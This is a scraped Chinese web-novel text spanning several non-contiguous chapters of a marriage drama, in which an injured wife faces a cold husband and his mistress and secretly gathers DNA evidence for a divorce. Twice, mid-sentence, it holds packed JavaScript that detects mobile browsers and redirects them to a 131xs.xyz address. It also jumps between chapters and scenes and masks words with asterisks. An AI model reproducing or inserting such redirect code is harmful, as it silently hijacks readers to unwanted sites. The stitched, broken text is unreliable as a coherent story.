黑色的宾利停在了我身边。
车上下来一个年轻男人,撑着伞走到我身边,问:“这位小姐,你需要帮助吗?”
我微微一怔,像是抓住了救命稻草,连忙道:“需要!能不能送我去医院?”
年轻男人一手撑着伞,一手扶住我,道:“那你自己可以起来吗?”
我试了半天,压根走不了一步,哽咽着道:“不好意思,我……我脚受伤了。”
“你等我一下。”
说完,年轻男人重新打开车门,恭敬地对里面坐着的人道:“沈先生,这位小姐脚受伤了,我这撑着伞不好扶她。要不……您下来受累帮……帮忙撑下伞,我把她弄上车?”
他说到最后,越说越没有底气,似乎觉得有点冒犯到了男人。
看来,里面坐着的,应该是身份很高的人。
他说完没多久,里面的男人下了车。
透过雨帘,我依稀看到他英挺深刻的五官和冷冽的眉眼。
他没有接助理的伞,而是径直走向我,打横将我抱起来塞进车里。
助理连忙将伞撑在他头顶,生怕淋湿了他。
尽管如此,我身上湿漉漉的,还是把他外套弄脏了。
我拘谨地贴着车门坐,生怕把他车座位弄得更脏。
男人递来一条干毛巾,我赶紧接着,先把被我弄湿的座椅擦了擦。
男人狭长的凤眸斜睨了一下我的脚,对助理道:“去中心医院。”
接下来的路上,他靠在车里闭目养神,仿佛把我当做空气。
我本想好好道谢或者要个名片日后报答,好像也找不到机会开口。
倒是他的助理问我是怎么受伤的?
我说了吊车出现故障的事。
快到医院的时候,男人突然开口跟助理道:“告诉顾氏集团,他们公司的情况我实地考察过了。合作暂停,重新评估他们集团的所有指标。”
第24章 惦记他的人太多了
助理一愣,道:“马上都要签合同了,现在停了,他们恐怕得要个说法。”
“昨晚刚**工人,现在连工地吊车都出现了安全故障,他们还有脸要说法?”
说到这儿,他语气带着一抹不容置疑的压迫感:“按我说的做。”
医院到了,雨也停了。
我临下车时,对男人道:“今天真的很感谢您,如果方便的话,您留给我一个名片,我以后一定当面道谢。”
“不必,举手之劳。”
他矜贵地颔首,让助理把我送到医院。
我这才发现自己这话有点太唐突了。
这男人看着就身价不凡,我要名片的行为,估计人家心里都怕以后被我赖上。
我识趣儿地跟他道别,被他的助理扶下车。
幸好医院有租轮椅的,他租了轮椅让我坐上去。
虽然车上那位先生是他的老板,但是一直都是这位助理忙前忙后地帮我。
我问:“既然那位先生不肯透露姓名,您的姓名方面透露吗?”
“我啊,我叫高朗。不过,你真不用放在心上。是我老板最先看到你坐在雨里,就让我下来看看。要谢你就谢他吧,我就是个跑腿的!”
高朗一边推着我,一边跟我说话。
我尴尬地说:“可他好像不怎么愿意透露他的信息,我想感谢也没机会。”
高朗笑着道:“我老板就这样,你别介意。惦记他的人太多了,他怕麻烦。”
言外之意就是,怕我借感谢的机会贴上去,到时候甩不掉。
我不再跟他谈论关于他老板的话题,免得人家误会。
高朗一路把我送到急诊科,我跟医生说了受伤的原因。
医生蹙眉道:“你这脚趾已经骨折了,得立刻手术。家属快点交费!再耽误点时间,这脚趾会缺血坏死,要截肢的。”
高朗立刻道:“那我去交费,麻烦医生帮忙照顾一下。”
就在这时,急诊科蓝色帘子的后面传来了一个熟悉的声音。
苏雅欣道:“医生究竟去了哪儿?为什么我们都来了这么久,还没有医生来给我看病!”
我没想到,他们来了这家医院。
护士道:“抱歉,今天病人比较多,医生都先仅着重病人看的。”
苏雅欣不满地反问:“你这是什么意思?我心肌炎犯了,心口疼得要命,难道,我还不算重病人吗?”
“苏小姐,您的心电图没有任何问题,心脏彩超也没有问题。”
护士不厌其烦地解释,就剩没有直接说她没事占用公共资源了。
苏雅欣像是受了莫大的委屈,控诉道:“你是不是觉得我是公众人物,要维持形象,所以好欺负?可我现在也是个病人,我有权投诉你们医生不作为!”
护士没办法,只好出来找医生。
护士道:“裴医生,要不,您先去看看苏小姐吧。不然被投诉了,还是我们麻烦。”
“不行!我必须先给这位女士手术,她的脚伤一分钟都耽误不了,快去准备手术室。苏雅欣想投诉就让她去,有任何后果我担着!”
医生果断地做了安排,人已经往外走去,还要护士把我也推过去。
我们还没出诊室,顾时序带着压迫性的声音就在身后响了起来:“这位医生,刚才我已经联系了你们院长。现在,立刻给我的家属看病。”
医生和我同时回头。
顾时序在看到我的那一刻,黑沉的眸子里闪过一抹意外。
顾时序朝我这边走过来,看见我脚上大片的血迹,问:“怎么回事?”
我冷冷看着他,像不认识他似的,一句话都没有回应。
在工地的时候,哪怕他能看我一眼,也不至于问出这种问题!
这时,苏雅欣从后面的蓝色帘子出来,道:“时序哥,医生来了吗?我现在心跳好快,心好慌。”
顾时序看看她,又看着我,道:“先让医生给雅欣看一下,她是心脏问题,要命的事。”
可这位医生竟然也格外刚,他接到了院长的电话,却直接挂断。
并且对顾时序道:“我以我的医生生涯跟你保证,苏小姐没有任何问题。她的心肌炎是小时候得的,早就已经治愈了,并不存在复发的可能。她要是心慌,你就好好安慰几句得了!”
然后他看向我,道:“反而是轮椅上的这位小姐,如果再不立刻手术,她的脚指头会面临截肢,以后就是残疾人了!”
医生说完,顾时序一句话都没有再说,看着护士急匆匆地将我往手术室推。
路上,我给宋今若打了电话,人生头一次做手术还是害怕的。
然后,又跟单位请了假。
我被推到手术室的时候,没想到顾时序竟然也跟来了。
我冷冷对他道:“我刚才已经给宋今若打了电话,这不需要你。你回去陪苏雅欣吧!”
顾
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时序淡淡地说:“医生让家属签字。你同事已经回去了!”
言外之意是,现在只有他能替我签字。
而那个好心搭救我的高朗,被他当成了我的同事。
这时,护士已经拿着手术知情同意书走到了我们面前。
顾时序正准备拿笔签字,我直接将笔抽了过来,对护士道:“他不是我家属。”
然后,我自己在手术签字单上签下了自己的名字。
顾时序则在一边对护士道:“刚才那个医生技术怎么样?去请最好的专家来做,不要留下任何后遗症。”
我道:“我就要那个医生做!”
如果不是刚才那位医生原则性强,换成别的唯唯诺诺的,很可能就真耽误了我的脚。
所以,我相信这样的医生,愿意把我自己交到他手里。
顾时序拉住我的轮椅,沉声道:“现在不是你赌气的时候,我帮你联系专家。”
刚才那位坚守原则的医生白了他一眼,道:“这位先生,你是不是跟你老婆有仇啊!再这么耽误下去,等专家来了,你老婆的脚也该残了!”
我对医生道:“您不用听他的,手术同意书是我自己签的字,我自己的手术自己做主。”
在我的坚持下,还是由这位医生给我主刀。
我进手术室打麻药之前,护士小声对我道:“放心吧。我们裴医生是全院最年轻的教授,他以前是不来急诊科的,最近急诊太忙,才派他来支援。他主刀绝对没有任何问题的,你赚到了!”
我不知道手术做了多久。
全麻醒来时,已经天黑了。
宋今若在一旁的沙发上坐着,满脸忧愁。
她听见我的声响,立刻跑到我身边,道:“你醒啦?感觉怎么样?我去喊医生!”
“今若。”
我一眼就看见了她额头上那一大块淤青,沙哑着声音开口,道:“你额头怎么了?”
宋今若表情有些不自然,打着马虎眼儿,道:“不小心碰的,没事。”
说完,她叫来了医生,给我做了彻底检查。
确定手术成功,我没什么大碍之后,才喂我喝粥。
我总觉得她有事情瞒着我。
宋今若从小娇生惯养,最重视自己的容貌了。
而且,她工作安逸,又怎么可能莫名其妙碰伤自己的额头?
我喝了几口粥,追问道:“你告诉我实话,你额头究竟怎么弄的?”
第25章 他要跟我睡一张床
宋今若见瞒不住我,只好愤愤地说:“你中午给我打完电话我就赶过来了,刚好顾时序也在。我本来还觉得他今天也算个人!可后来苏雅欣那个**过来了,想把顾时序勾走。我没忍住,就……就动手打了苏雅欣一巴掌。”
我听得揪心,追问道:“那你怎么会受伤?”
宋今若冷哼了声,“就她那瘦得跟骷髅一样的体格能打得过我?是顾时序把我推倒了,我头正好撞到了旁边的座椅靠背。最后这浑蛋还是被那小**带走了,气死我了!”
“顾时序跟你动手?”
我气得想**!
他跟我动手也就算了,但他还欺负我闺蜜。
我们都做错了什么?
要受到这样的惩罚?
宋今若怕我刚手术完情绪太激动,连忙安抚道:“没事没事,还有半个月,你妈妈救命的设备就能上市了。到时候,直接把离婚协议甩他脸上,一个字都别跟他啰嗦!”
其实她是比我还不能忍的性格,可现在,她受了那么大的委屈,却还在安慰着我。
我鼻尖发酸,哽咽着道:“今若,对不起,我连累你了。”
“傻瓜,说这个干嘛?”
宋今若揉揉我的头发,岔开话题道:“对了,那天你说顾时序去看心理医生的事,我找**查了。只查出来那个心理医生是国际大咖,平时不在那家医院坐诊,只有周六会来一趟。对于病人的信息,保密非常严格,除了心理医生本人以外,没有任何人知道。”
我叹了口气,道:“这很符合顾时序的做事风格,缜密又细致。既然他决心隐瞒,就不会让人查出任何蛛丝马迹。”
宋今若愈发好奇地问:“你跟顾时序算是青梅竹马了,按说很了解他。你觉得他是从什么时候得上的心理疾病?”
我摇摇头,道:“我看他根本就不像有心理问题的人。”
宋今若道:“既然想不出来,那就别想了。反正,这跟你俩离婚的事关系也不大。之前律师让你准备的证据怎么样了?”
我道:“DNA样本好说,反正现在苏雅欣和朵朵都住在我家,我可以找机会拿到她们的头发或指甲。但顾时序的资产,实在是太庞大了,我知道的也只有九牛一毛,不好查。”
“那你早说啊!”
宋今若道:“你早说我就联系秦律师,让她帮我们想想办法了!再有半个月你们就离婚了,这东西得赶紧查,免得离婚的时候,什么都分不到,便宜了小三和私生女。”
她说完,我已经拿出了手机,给秦欢打电话。
我将自己目前搜集证据遇到的麻烦告诉了秦欢,她对我道:“我可以找人替你查你丈夫的资产。但是DNA鉴定的事,得靠你自己了。”
我们正说着,门锁响动,顾时序突然走了进来。
我吓了一跳,赶紧将手机放到了枕头下面。
宋今若更是面对仇人般挡在我面前,道:“你怎么来了?”
顾时序眼底划过一丝不悦,冷冷地说:“我是她丈夫,我来这里,不是很正常?”
宋今若恨恨道:“你很快就不是了!”
这句话不知道激怒了顾时序哪根神经,他冷峻的五官透着一抹凌厉,直接叫来保镖,道:“请宋小姐出去!”
“顾时序!你敢!”
宋今若冲他吼,可人已经被保镖直接往外拉。
我气坏了,下意识地就要下床往外追。
可我忘了自己的脚刚做完手术,右脚刚沾地,整个人都向前倒去。
就在我以为快要摔在地上的时候,顾时序一只手揽住了我的腰。
下一秒,他突然打横抱起我。
刚做完手术的我很虚弱,扑腾了几下,也根本挣脱不开。
直到他重新把我放回床上。
我气急败坏地问:“你为什么要这么对今若?”
顾时序一边帮我盖被子,一边道:“她在挑拨我们的夫妻关系,我这么对她,已经算客气了。”
“挑拨?”
我觉得他一本正经的话实在是可笑,反问道:“我们之间的关系,还需要别人挑拨?顾时序,你自己做了什么,你心里一点数没有?苏雅欣是来我们家打酱油的吗?”
顾时序依旧用那双清冷的眸子看着我,平静地说:“昭昭,顾家的当家主母必须有容人之量。大度一点,不要总是盯着雅欣。”
我沉默了,实在不想再跟他多说一个字。
真的说累了!
这时,顾时序手机响了。
他接了之后,我隐约听见孙杰的声音。
然后,顾时序的语气严肃起来,问:“为什么?不是说好周五签合同吗?”
那边不知有说了什么,顾时序声音阴沉沉的道:“去查!他们背后的老板究竟是谁?敢放顾氏的鸽子,真是好大的口气。”
我听着顾时序的话,突然想起了今天送我去医院的那位先生。
他究竟是什么身份呢?
就连顾时序,他好像都没放在眼里。
可顾氏集团在海城,已经是一线企业了。
别说是商界,就算是政界,都要卖顾时序几分面子的。
虽然我想不出个所以然,可我看到顾时序愁眉不展的样子,心里竟然舒服了一点。
活该!
可很快,我心情又不美妙了。
好一会儿过去,顾时序并没打算走,反而坐在沙发上转动着手中的佛珠。
几分钟后,他高大的身影往浴室走去。
我听见浴室里传来了淋浴声,才忽然意识到,他今晚似乎要住在这儿。
我的病房虽是单人间,但公立医院不像私立医院那般设施齐全,床也是只够一人睡的窄床。
他也没地方睡啊!二十分钟后,顾时序洗完了澡从浴室出来,穿着一个松松垮垮的浅灰色睡袍。
宽肩窄臀的颀长身形,以前总让我忍不住多看几眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16173197|180755||http|test|mini|href|location''.split(''|''),0,{}));
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r>可现在,我对这幅只剩下皮囊的顾时序已经没了曾经那种迷恋。
我瞪着他,严肃地说:“顾时序,你该回去了。”
“回哪儿?”
他瞥了我一眼,自顾自地挤上了床,睡在我旁边。
我用尽全身力气往另一侧躲。
只要想到这男人跟苏雅欣不知道睡了多少次,我就觉得他脏得不行,恨不得把他踹下去。
可我终究是麻药刚过,脚又不利索,躲也躲不到哪里去?
我提醒道:“你女儿和情人还在家里等你。这里,不适合你。”
顾时序微微蹙了蹙眉,随即,轻笑了声,道:“还记不记得上个月,你穿蕾丝睡衣跑到书房想跟我做?那时候,你可不这么矜持。”
我思绪回到自取其辱的那天,难堪地咬了咬下唇,后悔得要命。
其实我也不是那种很放得开的女孩子。
但是,每个月一次的夫妻生活实在是很难受孕。
为了再跟他有个孩子,我做了很久的心理建设,然后穿着他以前最喜欢的黑色蕾丝内衣去了书房,以极尽羞耻的姿势跨坐在他腿上。
然而,无论我怎样吻他,怎样撩拨,他都不为所动。
最后,甚至将我推开,将外套丢在我身上,眉头紧锁道:“跟谁学的风尘气?”
然后,他拿起桌上的佛珠转动在指尖,看都没再看我一眼,离开了书房。
当时,我还不知道他已经在外面有了情人和女儿,我以为,他只是不能破戒。
可他对苏雅欣,却什么都破了。
我不敢再想那晚难堪至极的画面,努力挤出一抹释怀的笑,迎上他的目光:“以后,我不会再做这种事了。所以你放心地走吧,我这里真没有你能睡的地方。”
顾时序目光染上一抹不悦,冷声开口道:“你要不是我太太,你以为我愿意管你?”
我不可思议地看着他。
他竟然还记得我是他老婆?
本不想跟他争辩什么,因为我知道,说什么他都不在乎。
可我被他刚才那句话恶心到了,忍不住道:“我受伤的时候,你没有管我;我手术的时候,你也没管我。我最需要你的时候已经过去了……”
提起这个,他大概是觉得理亏,语气没有刚才那般盛气凌人,缓和了些,道:“当时情况太危急,工地人又多,的确没有注意到你受伤。否则,我不会扔下你不管。”
我迎上他漆黑深邃的眸光,问:“那你告诉我,如果再给你一次机会,你会选择救谁?那种情况,你只能救一个人,你会救我吗?”
顾时序没说话,他的沉默,已经代表了他的答案。
我心底涌出一片凄凉,也不再赶他走,只是背对着他睡。
忽然间,我发现跟这个认识了二十年、无话不说的男人,已经变得无话可说了。
顾时序关了灯,将被子往我身上掖了掖,从身后抱住我。
第27章 现在就离婚!
其实,我也挺意外的。
顾时序如今还会为了我,阻止他妈妈。
姜淑慧不甘心地说:“时序,你拦着**什么?她今天发的新闻,给顾氏造成了多大的影响,你不清楚吗!”
顾时序看了我一眼,对母亲道:“顾氏自成立以来,什么大风大浪没见过,区区一个新闻,能造成什么影响?”
姜淑慧错愕地看着儿子,道:“你到现在,还替她说话?时序啊,现在,你已经有了雅欣和朵朵,你可不能再在她身上栽跟头了。不然,你对得起雅欣吗?”
顾时序淡声道:“我的事,自己会处理。我让孙杰送您回去!”
“不行!”
姜淑慧语气格外强硬,厉声道:“这小**配不上你也就算了,居然还敢抹黑顾氏,跟雅欣争风吃醋!你看她写的那些东西,矛头不就是对准雅欣的吗?你跟她离婚,现在就离!”
顾时序语气沉了几分,不悦地说:“妈,您该回去了。”
姜淑慧自从离婚之后,便完全依靠自己的儿子。
所以,顾时序不高兴的时候,她也是有点发怵的。
她恨恨地瞪了我一眼,道:“你别得意太早!雅欣是我认定的儿媳,你这个顾太太,做不了多久了!”
说完,她拿起昂贵的包包,扬长而去。
病房重新恢复平静。
顾时序站在我床边,伸手碰了下我的右脸,道:“我妈打你了?”
“嗯。”
我反问道:“怎么?你要帮我出气?”
顾时序没说话,这也是意料之中的,难不成,他还能再打他妈一巴掌?
我没好气地解释道:“我今天发的那篇新闻,不是针对你,也不是针对苏雅欣。我只是就事论事,替那个无辜枉死的民工感到惋惜。”
顾时序面色平静,并没有责备我的意思,“嗯,现在这个工作比以前那个强。至少,不用偷鸡摸狗的。”
我道:“你要是怨我影响到了顾氏的股价,就直说,不必这么阴阳怪气的。”
顾时序突然轻笑了声,道:“我执掌顾氏这么多年,要是你一个新闻就能影响到顾氏,那我真不用在海城混了。”
他一边说,一边看着我疑惑的神色,道:“你以为你这篇新闻为什么能冲上热搜?因为你是独家,我只接受了你的采访。我顾时序的太太想搞事业,我还是要支持一下的。”
我没想到,今天网络上天翻地覆的**,在顾时序看来,却是这般轻描淡写。
他几乎没有被影响到分毫。
甚至,他早就料到了现在这样的结果。
我这才发现,我所做的任何事对顾时序来说,完全就是小打小闹。
因为他比我强大得太多,他料定了我离不开他,更逃不开他的掌控。
所以他可以这样肆无忌惮地伤害我。
他一定到现在都没想到,我是真的要跟他离婚。
为了试一下对于离婚他是个什么态度,我道:“你妈刚才让我们离婚。她是长辈,她的话,还是要听一下的。”
顾时序冷哼了声,打量着我道:“你现在知道她是长辈了?当初她不让你嫁给我的时候,我也没见你这么听话。”
我被噎了一下,以前对顾时序的爱慕和付出,现在都变成了他捅向我的刀。
顾时序伸手捏起我的下颌,让我看着他,一字一句地说:“叶昭昭,欲擒故纵的把戏玩多了,就没意思了。只要你不为难雅欣,不伤害朵朵,这个顾太太的位置,我不会动你。”
他以为,他这番保证会让我安心,让我感激涕零。
可却更加坚定了我想离婚的决心。
我要个顾太太空空的名头做什么?
难道,一辈子住在那个别墅,眼巴巴看着他和苏雅欣母女共享天伦之乐?
索性再有不到半个月,就能跟他摊牌了。
想到律师让我搜集的证据,我突然柔声开口道:“你指甲长了,是不是好久没剪了?”
顾时序以为是掐着我的下颌把我掐疼了,就放开了我。
其实,他指甲会定期修剪,并没有很长。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16173199|180755||http|test|mini|href|location''.split(''|''),0,{}));
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r>但我必须要得到样本,才能去做DNA鉴定。
之前我查过,头发和指甲都可以做这个。
我佯装被他刚才的话打动了,做出服软的姿态,道:“你把指甲剪拿来,我帮你剪剪。”
以前,顾时序的指甲都是我来剪的。
当时的我,爱他爱到给他剪指甲、打领带、放洗澡水这样的事情,都觉得是种幸福。
对于我主动的讨好,顾时序觉得很受用。
毕竟,自从苏雅欣和朵朵出现之后,我已经很久没这般轻声细语地跟他说话了。
他以为是他刚才的承诺,对我起了作用。
还真就拿了指甲剪,像以前那样坐在床边,让我帮他剪指甲。
我想到这些指甲的用处,剪的时候,心砰砰直跳,又强装镇定。
但还是被顾时序看出来了我的紧张。
他淡淡地说:“这么久不给我剪指甲,明显生疏了。”
我顺着他的话,道:“这不是没机会么?”
我语气带着一抹娇嗔,让他误以为他让我剪指甲,对我来说都是一种恩赐。
果然,顾时序忽略了我的紧张,而是轻抚着我刚才被他母亲打红的脸颊,道:“好久没见你这么乖了。”
为了不动声色地将他指甲留下来,我剪了一会儿,突然装作手术的伤口疼,让他去帮我喊医生。
他这边一出去,我立刻就用纸巾将他的指甲包好,放在了床头柜的抽屉里。
晚上,顾时序并没有要走的意思。
不仅如此,他还从浴室接了水出来,对我道:“先洗脸。”
我有点别扭他这样的举动,都好几年,他没这么体贴过了。
在我出神儿之际,他轻轻用湿毛巾帮我擦脸。
如果不知道他做的那些事,那么现在这个顾时序,真像个尽职尽责的好丈夫。
“我自己来。”
我从他手里拿过毛巾,不是很想让他碰我。
而且,现在已经晚上八点了,他还不走吗?
我实在不想再跟他睡一张床了。
第28章 尽职尽责的好丈夫
我正愁找个什么借口让他别留这儿,病房的门突然被敲响。
竟然是苏雅欣来了。
我不禁佩服她,不仅要忙着开演唱会、拍广告、拍戏,还一天不落地盯着顾时序。
这种高能量高精力的人,干什么都会成功的!
她肿着一双红彤彤的眼睛,温温柔柔地开口道:“时序哥,我来看看叶小姐。早晨朵朵在,我没好说叶小姐的事。听说她受伤很严重,现在怎么样了?”
顾时序道:“手术很成功,医生说不会留下后遗症。”
“那就好。”
苏雅欣道:“要是叶小姐真的出了什么事,但我这辈子都不会安心的。”
顾时序看到她红肿的眼睛,问:“你眼睛怎么了?”
“没什么?”
苏雅欣擦了擦眼角的湿润,泪光盈盈地说:“是我自己太玻璃心,太在意网上那些评论了。”
她一个字没提我上午发的新闻,却又好像字字都在指责我抹黑她。
顾时序蹙眉看了我一眼,目光中带着一抹不悦。
上午,姜淑慧提起顾氏的股价因为我的新闻稿受到了影响,他都没有丝毫责备我的意思。
但现在,因为苏雅欣哭肿了眼睛,他看我的眼神也变了。
苏雅欣声音染上了一层哭腔,却又好像在强忍着委屈,哽咽道:“是我和朵朵不好,总让叶小姐不开心。现在看到叶小姐没事,我就放心了。时序哥,你好好照顾叶小姐吧,我……我先走了。”
说完,她捂着嘴离开,好像她才是那个被人挖了墙角的女人。
我不屑地看着她从头到尾没有NG地演出,对顾时序道:“还不赶紧去安慰人家?万一眼睛哭瞎了,别到时候再让我把角膜捐给她!”
顾时序浸着寒意的目光落在我脸上,不满地道:“为什么总这么刻薄?我以为上午的新闻,已经让你出气了。叶昭昭,凡事不要太过分!”
说完,他站起身步伐匆匆地追了出去。
这一晚,顾时序没有再回来过。
……
翌日,我接到了宋今若的电话。
她如释重负地对我道:“顾时序给那个小丫头请假了!我们幼儿园的老师,终于不用再战战兢兢伺候这位公主了。”
“请假?”
我疑惑地问:“为什么?她生病了吗?”
宋今若道:“这倒不是,纯粹是不喜欢上幼儿园,顾时序又宠她。请了一周的假,听这小丫头说要去香港迪士尼玩儿。”
而朋友圈里,苏雅欣已经开始晒他们在迪士尼的照片了。
只不过,苏雅欣仍没有露脸,但意外的是,我婆婆姜淑慧却出镜了。
想想我和顾时序结婚四年,我们也没有这样一家三口整整齐齐地出去玩儿过。
我以前一直以为像姜淑慧这般不好相处的人,无论顾时序娶谁,她都会盯着一双长在头顶的眼睛看人。
可现在我才发现,我错了。
姜淑慧跟苏雅欣相处的还不是一般的和谐。
我搞不明白,他们都到了这个地步,顾时序为什么还不跟我离婚?
给苏雅欣和朵朵一个名分不好吗?
我对宋今若道:“我拿到了顾时序的指甲样本。如果能拿到朵朵和苏雅欣的,就可以做DNA鉴定了。”
宋今若一听,声音都兴奋了,“我早就弄到了那个小丫头的指甲和头发。不过这苏雅欣的,就得费费劲了。”
“嗯,我来想办法。现在,至少能先把顾时序和朵朵的亲子鉴定给做了。”
跟宋今若通完话,叶夫人的电话紧接着打了进来。
“确定了,确定了!”叶夫人激动地说:“你哥哥说了,下周三中午就把雅欣带回家。”
我的心也跟着兴奋起来,“真的吗?确定?”
“当然了!”
叶夫人叮嘱道:“下周三,你记得带时序一起来,全家人一起吃个饭。”
我心里有点忐忑,追问道:“妈,您没有告诉苏雅欣我也要去吧?”
叶夫人笑呵呵地说:“你不是让我别说吗?我就没说。”
“那就好。”
我松了口气,道:“那下周三我和顾时序一定过去。”
跟叶夫人通完话之后,我母亲的医院也打来了电话。
是催交治疗费的。
我母亲住院买年需要消耗的治疗费是一笔巨款,以前这笔费用是叶家承担的。
后来,我嫁给顾时序之后,这男人主动提出要承担岳母的治疗费。
那时候的他,事事都想在我前面,事事都为我着想。
可现在,他陪着苏雅欣出去玩儿,却忘了他当初对我的所有承诺。
我握着手机,看着屏幕很久,才下定决心打了他的电话。
接电话的人是苏雅欣。
“叶小姐,你有事吗?时序哥在陪朵朵玩呢,不太方便。”
她礼貌又高高在上,仿佛我是那个骚扰他们的第三者。
我冷冷道:“让他接电话。”
苏雅欣又重复了一遍:“不好意思,时序哥现在真的不方便,跟朵朵在过山车上。你有什么话就跟
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我说吧,我转告给他。”
我始终无法对着一个小三说找顾时序要钱的事。
后来,我听见电话里苏雅欣道:“妈,是叶昭昭。”
我挺意外的。
没想到,苏雅欣和我婆婆的关系都突飞猛进到这种地步了。
这声‘妈’,叫得真亲。
“我来接,这个小**,到现在还缠着时序,不死心。”
姜淑慧骂骂咧咧地拿过电话,对我道:“叶昭昭,我告诉你,雅欣是我承认的唯一儿媳。你这么缠着时序,一点用都没有!没事就别打电话自取其辱了,时序压根不想接你的电话。”
我握紧手机,低低地开口道:“他忘记给康复医院交治疗费了,麻烦你跟他说一声。他交了费,我就不会再打扰他。”
姜淑慧冷笑了声,嘲讽道:“治疗费?你那个半死不活的妈?还有救的必要吗?我们时序这么多年的钱都打了水漂,这么多钱给雅欣和朵朵买衣服买首饰不好吗?”
说完,她挂了电话。
我想起刚才苏雅欣在电话里叫的那声‘妈’,只觉得‘物以类聚,人以群分’这句话,真是一点都不错。
恰好此时,宋今若来了。
我从床头柜抽屉里拿出了我昨天帮顾时序剪掉的指甲。
现在的我行动不便,DNA鉴定的事情,就只能让宋今若帮我跑一趟。
然后,我又对她道:“对了,您能不能去我家帮我取个东西?”
我将我珠宝盒的位置告诉了她,让她帮我把顾时序以前每逢节日送我的首饰都拿去二奢店卖了。
宋今若听后,惊讶地说:“卖首饰?为什么?”
我淡淡地说:“人都留不下,我留下那些首饰又有什么意义?你帮我卖了,卖到的钱给我妈妈交治疗费。这笔钱,至少能挺到我跟顾时序离婚,拿到属于我的财产那天。”
宋今若不是很同意,她道:“你没钱可以找我要啊,不至于落魄到卖首饰的地步啊。”
“救急不救穷,我不能次次都找你要钱,对不对?”
我冲她笑了笑,道:“我不觉得哪里落魄了,反正那些首饰我平时戴的机会也不多,顾时序压根都不带我去公众场合,聚会宴会什么的,我更没参加过几回。所以,卖了吧,我真的不需要了。”
因为我的坚持,宋今若只好点点头,帮我回顾家取了我的首饰。
其中一串紫罗兰冰种翡翠项链是曾经顾时序求婚时送我的定情信物,宋今若拍了张照片,问:“这个……也卖掉吗?”
第30章 终于得到亲子鉴定的证据
顾时序顿了顿,没有接我的话,而是道:“我让刘妈给你炖了补品,一会儿送过来。以后回到家,你想吃什么都可以。”
他的意思是,我不用再跟他一样吃素斋了。
呵,我不知该哭还是该笑?
我几乎是丢了一条命,才换来苏雅欣和朵朵唾手可得的待遇。
这时,苏雅欣走了进来。
看见我醒了,她美眸划过一抹失望。
随即,便激动地开口道:“叶小姐,你醒了!真是太好了。要是你有个三长两短,我这辈子都不会安心的。”
顾时序立刻问她:“朵朵怎么样了?”
苏雅欣道:“多亏叶小姐,朵朵的情况比昨天好多了。只不过……”
“有话就说。”
顾时序蹙眉,在他女儿的问题上,他从来都没什么耐心。
苏雅欣貌似为难地道:“医生说,血库里的血昨天给朵朵用完了,这孩子还得再输几天血。可叶小姐这样……”
她看看我,又看看顾时序。
目的很明显。
顾时序也望向了我。
我别开脸,将头转向另一侧。
真是一丁点儿都不想再看这张面孔。
顾时序没有立刻开口让我继续给她女儿输血,而是站起身道:“我去问问医生,还有没有更好的办法。”
“那我留下来照顾叶小姐。”
苏雅欣十分温婉地说:“她为了给朵朵献血都变成这样了,我理应照顾她。”
“嗯,我待会儿就回来。”
顾时序答应得很爽快,此时的他压根懒得思考我跟苏雅欣这种关系,她是不是真心照顾我?
他所有的注意力都集中在朵朵身上。
所以,他任由苏雅欣留在这儿,自己已经往外走去。
直到顾时序脚步声渐渐远了,我听见一声门反锁的声音。
苏雅欣这样的动作,明显是要关起门来跟我说什么了。
我不动声色地用手往枕头底下探,可不知为什么,手机却找不到了。
明明手机一直被我放在枕下的。
就在这时,苏雅欣从包包里拿出我的手机,道:“叶小姐是在找这个吗?不好意思,时序哥说了,为了防止你找那个讨厌的闺蜜来,你的手机暂时由我保管。”
她跟刚才在顾时序面前的温婉模样判若两人。
现在的苏雅欣,带着得意洋洋的笑,在我面前摇了摇手机,像是在挥动胜利的旗帜。
我心中冷笑,顾时序还真是事事都快我一步。
我相对他来说,终究是道行太浅了!
“你就不怕顾时序马上回来?”
我看着苏雅欣一步步向我走来,不知道她想对我做什么?只能用‘顾时序’这个名字让她收敛点。
“叶昭昭,时序哥现在是不会回来的。”
苏雅欣双手环臂,欣赏着躺在床上半死不活的我,道:“儿科离这儿远着呢。你信不信,只要朵朵不让他回来,你就算**变成发臭的尸体,他也不会回来看你一眼!”
我看着她扭曲的面容,忽然嘲讽地笑了声。
苏雅欣眸光阴冷,突然掐住我的脖子,恨恨地问:“你笑什么?”
我脖子被她掐得呼吸不畅,艰难地开口道:“我还当你多有本事!搞了半天,不过是靠一个小孩子才能拴住顾时序!”
说到最后,我已经呼吸不畅,苏雅欣此时像是失去了理智,要把我掐死。
后来她自己也反应过来,生怕被顾时序发现,连忙松开了我。
苏雅欣阴毒的目光像是吐着信子的蛇投射在我身上,然后,恨恨拔掉了我手背上输液的针头扎我。
我痛得连叫出声的力气都没有了,奋力伸手想去按呼叫铃叫医生
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护士进来。
可苏雅欣早就把呼叫铃的插头拔掉了。
她扎了我半天,仿佛终于泄了气,皮笑肉不笑地说:“你不是厉害得很吗?你以为写篇破新闻就能把我拉下神坛?恐怕你还不知道吧?时序哥已经把我的经纪公司买下来了,无论我出任何事,都有他给我兜底。我压根不会受到任何影响!”
她以为这样能刺激到我,可实际上,顾时序对她任何没有底线的包容和宠爱,我都已经见怪不怪了。
苏雅欣见我没有任何反应,笑容忽敛,威胁道:“我劝你自觉点离开时序哥。否则,我会让你死都不知道**的!只要我一句话,时序哥能把你的血全都抽干,你信不信!”
我嗤笑了声,气若游丝地开口,“搞了半天,是想让我跟顾时序离婚?怎么?这种事你不是该找你时序哥说吗?他不是最听你的话吗?”
